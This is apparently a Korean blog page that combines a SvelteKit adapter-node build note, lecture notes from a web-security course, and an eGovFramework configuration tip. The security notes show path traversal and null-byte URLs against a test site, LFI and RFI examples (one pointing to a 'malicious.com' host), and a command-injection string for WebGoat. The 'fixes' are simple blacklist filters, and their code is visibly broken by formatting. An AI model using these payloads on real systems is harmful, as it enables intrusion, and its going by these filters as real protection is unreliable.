요즘 aws ec2 docker nginx svelteKit 이렇게 해보고 있는데

일단 build 경로에 대해 이야기 해보자

빌드경로가 다른 블로그나 사이트에선 /app/build에 있다는데 왜 안나올까 한다

일단 svelte.config.js 파일에서

import adapter from '@sveltejs/adapter-auto';

이렇게 되어 있으면 별도로 빌드 경로를 지정해 주지 않는이상 .svelte-kit 에만 빌드 파일이 

만들어 지는것 같다.

따로 경로 지정해 줘도 안먹히는거 같고

그러다가 nginx 한번에 연결시키는건 포기하고 

사실 프록시 할필요도 딱히 없고 해서 단독으로 올려보려고 하는데

node로 올리면 된다는 글을 보았다. 

그런데

node build/index.js 뭐 이런명령어를 치라는데

안먹힌다

일단 뭐가 문제일까 생각해보니

build 경로도 없고 index.js 파일은 .svelte-kit 폴더의 아웃풋 안에 서버폴더 안에 있었다.

다시 여기저기 작은 svelte 생태계를 찾아 보니

svelte.config.js 파일의 어댑터를 노드로 설정을 해야 한다고 한다

그래 어댑터가 오토로 되어 있어서 자동으로 막 해준다고 하는데 

이젠 명확히 어떤 서버에 올릴지 목적이 생겼지 않은가 svelteKit 프로젝트를 node서버에 올리기 위해

npm i -D @sveltejs/adapter-node 

이 명령어로 노드어댑터 설치 해주고 

svelte.config.js 파일 상단에 

import adapter from '@sveltejs/adapter-auto';
->
import adapter from '@sveltejs/adapter-node';
 
이렇게 바꿔주니 
 
npm run build 를 실행시켰을대 bulid 폴더가 생기면서
거기에 빌드 파일이 생성되고
 
index.js 파일도 빌드경로에 바로 생성이 되는것을 확인 할 수 있었다.
 
 

 

 

 

 

[웹보안] 웹보안 3일차 - 오후



졸리다 졸리다 졸리다아아아





1. 다운로드 취약점


다운로드 취약점 테스트


http://php.testsparker.com



1) 경로(path traversal)


다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다


host/../../../../../../



../../../../../../windows/system32/drivers/etc/hosts





http://php.testsparker.com/process.php?file=Generics/index.nsp 

이렇게 생겨먹은걸

http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts





2) 널바이트 인젝션


%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나


뭐 또 나쁜짓 하겠지


졸려서 뭔말인지도 잘 못알아 듣겠슴....



예)


http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp



이렇게 하면 시스템 정보를 가져 올 수 있다



위에 보면 호스트 정보가 표출 된다.


../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고


%00.nsp 를 이용해 해당 정보를 받아온다


%00.nsp를 넣는 이유는


burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고


%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다


.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것


뭔말인지 모르겠지만 나도 모르겠다 개어렵네 




해결 방법


1
2
data = data.replaceAll("\"""");
data = data.replaceAll(".""");
cs


이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
public class XpathFilter {
 static String Xpath(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     data = data.replaceAll("(""");
     return data;
}
 
 static String crlf(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("\r""");
         data = data.replaceAll("\n""");
         return data;
    }
 
 static String download(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("./""");
         data = data.replaceAll("../""");
         data = data.replaceAll("..\\""");
         data = data.replaceAll("\\\\""");
         return data;
    }
 
}
cs



 이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함






LFI(local file inclusion)


file?param=../../../etc/[asswd



RFI(Remote file inclusion)


file?param=http://www.malicious.com/a.txt





2. 파라미터 변조


명령어를... 그.. 뭐지... 그...


그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..


1
2
3
4
5
6
7
8
9
10
11
12
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help""\\.html");
 
if (osName.indexOf("Windows"!= -1)
{
        // Add quotes around the filename to avoid having special characters in DOS
        // filenames
        results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
        fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
}
cs



이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.

어지간한 프로젝트에선 쓸일도 없을거임.



" & netstat -rn


-> url 


%22+%26+netstat+-rn







webgoat에서 명령어 날리는 프록시 가로채서 


%22+%26+netstat+-rn


이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.



해결방법


1
2
3
4
5
6
7
8
static String commandIn(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("&""");
         data = data.replaceAll("%26""");
         data = data.replaceAll("%22""");
         data = data.replaceAll("\"""");
         return data;
    }
cs



이런 필터 만들어서 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                String results;
                String fileData = null;
                helpFile = helpFile.replaceAll("\\.help""\\.html");
                
                // 필터링 발동!
                helpFile = XpathFilter.commandIn(helpFile);
                        
                if (osName.indexOf("Windows"!= -1)
                {
                    // Add quotes around the filename to avoid having special characters in DOS
                    // filenames
                    results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
                    fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
                }
cs


7번 라인 처럼 이렇게 필터링 해주자





-이전 포스팅 -


2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전




해당경로에 파일이 있지만 실행시 해당 경로를 찾지 못하는 경우


/src/main/resources/egovframework/spring/com/context-security.xml


파일에 


<security:http pattern="/디렉토리이름/**" security="none"/>


을 추가해 준다.


2.


egov-com-social.xml 파일에


<mvc:resources mapping="/디렉토리이름/**" location="/디렉토리이름/" />


추가 해준다.


포스팅이 도움이 되셨다면 마우스를 조금만 움직여서 

공감하기를 눌러주세요 블로거에게 큰 힘이 됩니다~! 

+ Recent posts